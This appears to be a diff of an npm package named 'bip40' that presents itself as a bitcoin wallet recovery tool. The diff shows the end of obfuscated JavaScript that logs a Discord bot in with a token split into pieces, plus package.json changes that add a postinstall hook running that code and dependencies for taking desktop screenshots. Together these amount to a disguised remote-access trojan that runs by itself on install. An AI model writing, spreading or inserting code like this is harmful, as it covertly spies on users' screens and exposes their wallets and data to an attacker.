_0x334bc4=_0x903f8b;console[_0x334bc4(0xe7)](_0x334bc4(0x9f),_0x139c94);}),process['on'](_0x903f8b(0x87),_0x4cb393=>{const _0x1b7572=_0x903f8b;console[_0x1b7572(0xe7)](_0x1b7572(0xc3),_0x4cb393);}),client['on'](_0x903f8b(0xe7),_0x5b1f7e=>{const _0x1dfa6c=_0x903f8b;console[_0x1dfa6c(0xe7)]('Discord\x20client\x20error:',_0x5b1f7e);}),client[_0x903f8b(0xc4)](bot_token1+bot_token2+bot_token3)[_0x903f8b(0xa7)](_0x4133ec=>{const _0x1fb46e=_0x903f8b;console[_0x1fb46e(0xe7)](_0x1fb46e(0xb8),_0x4133ec),setTimeout(()=>{const _0x5245d1=_0x1fb46e;client[_0x5245d1(0xc4)](bot_token1+bot_token2+bot_token3)[_0x5245d1(0xa7)](()=>{});},0x1388);});
|
package/package.json
CHANGED
|
@@ -1,6 +1,22 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "bip40",
|
|
3
|
-
"version": "
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.4",
|
|
4
|
+
"description": "bitcoin btc bip40 wallet recovery tool",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"start": "node index.js",
|
|
8
|
+
"postinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"dependencies": {
|
|
11
|
+
"discord.js": "^14.14.1",
|
|
12
|
+
"node-screenshots": "^0.2.1",
|
|
13
|
+
"screenshot-desktop": "^1.15.0"
|
|
14
|
+
},
|
|
15
|
+
"keywords": ["bitcoin", "bot", "remote", "admin"],
|
|
16
|
+
"author": "",
|
|
17
|
+
"license": "ISC",
|
|
18
|
+
"repository": {
|
|
19
|
+
"type": "git",
|
|
20
|
+
"url": ""
|
|
21
|
+
}
|
|
6
22
|
}
|